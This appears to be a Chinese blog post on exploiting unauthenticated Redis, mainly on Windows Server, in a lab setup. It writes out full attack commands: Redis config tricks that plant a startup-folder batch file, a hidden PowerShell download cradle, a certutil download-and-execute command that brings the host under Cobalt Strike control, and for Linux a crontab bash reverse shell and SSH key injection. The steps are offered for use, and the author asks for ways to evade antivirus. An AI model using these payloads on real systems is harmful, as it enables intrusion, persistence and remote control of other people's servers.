redis未授权在windows环境下的应用

2021/6/29 19:50:55

本文主要是介绍redis未授权在windows环境下的应用,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

redis未授权在windows环境下的应用

前言

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露。root权限下也可通过写计划任务、写公钥,administrator权限下通过写开机启动项脚本来实现getshell。


场景复现

靶机:winserver2008 R2x86 192.168.203.130
跳板机:kali 192.168.203.129

第一步:

nmap扫描发现靶机开启3389、445、6379端口,考虑0708、17010、redis未授权三个漏洞达到getshell的目的。

第二步:

直接打3389的cve-2019-0708漏洞,尝试多次均蓝屏未获取到权限。 TnT
image
image
image

第三步:

继续打445端口的ms17010漏洞,好家伙,直接蓝屏。之前是桥接打成功了,换成nat不成功了,不知道有关系没,玄学问题,先不管了。
image
image

之前打成功的截图:
image

第四步:

来到本文的正题->winserver服务器下利用redis未授权写入开机启动项,利用17010或0708(如果能getshell那就直接冲了)使其重启,达到命令执行的目的

  1. 靶机存在redis未授权,但为windows系统:
    image

  2. 在默认开机启动项目录下创建一个bat脚本,写入命令,此处以执行whoami并在桌面新建txt为例,同理可直接上线CS(有坑)
    config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
    +OK
    config set dbfilename update.bat
    +OK
    set shell2 "\r\n\r\nC:\Windows\System32\cmd.exe /c whoami >C:\Users\Administrator\Desktop\y.txt\r\n\r\n"
    或者
    set xx "\r\n\r\n powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://119.x.x.x:58086/a'))"\r\n\r\n"
    或者
    set x "\r\n\r\ncertutil -urlcache -split -f http://119.x.x.x/a.exe a.exe &start /b a.exe\r\n\r\n"
    以上3选1
    +OK
    save
    +OK
    image

  3. 再次打蓝屏让其重启,成功执行命令:
    image

下图为whoami写入开机启动项的截图:
image
image

下图为上线cs的命令写入开机启动项:
image

发现该命令框启动后一直挂在那,考虑到管理员重启后可能会发现,所以我们在exe前加一个start /b,至此命令行一闪而过并上线成功:
image
image


附踩过的几个坑

  1. winserver2008R2 x64默认不开启powershell的,需要手动安装功能启用,若未启用则不能使用powershell。但手动启用后在无AV情况下,报错,估计是环境问题吧,这种只能看运气了。
    image
    image
    image

  2. redis里写命令要记得反斜杠是转义符,而且\r\n\r\n不能少:set xx “\r\n\r\nC:\Windows\System32\cmd.exe /c whoami > C:\Users\Administrator\Desktop\y.txt\r\n\r\n”

  3. 参考windows下载执行命令大全:https://www.cnblogs.com/backlion/p/7908563.html
    其中有一些特殊字符,如‘%’等在redis-cli处转义并save后,开机自启路径下文件出现乱码(使用bitsadmin下载执行试了好久没成功)。总之环境问题,在没有杀软时,一个payload不行试试其他的。

  4. 以上操作均无杀软,通过命令行下载执行的cs上线方法大多会被杀(基于行为的),和下载的文件无关。个人掌握的免杀方法多需通过webshell上传后执行绕过,或许安装其他语言环境。如有大佬可以通过redis未授权绕过杀软的请指点下~
    image

linux下redis未授权使用:

  1. 写crontab:
    set x "\n* * * * * bash -i >& /dev/tcp/106.1.1.1/1236 0>&1\n" OK
    config set dir /var/spool/cron/ 或者/crontabs/ OK
    config set dbfilename root OK
    save OK
  2. 写公私钥:
    config set dir /root/.ssh/ OK
    config set dbfilename authorized_keys OK
    set x "\n\n\nssh-rsa你的公钥\n\n\n" OK
    save OK

总结:在无杀软、administrator权限下起的redis,有办法把它打挂(或者等到它重启)的情况下。用此法可上线。



这篇关于redis未授权在windows环境下的应用的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程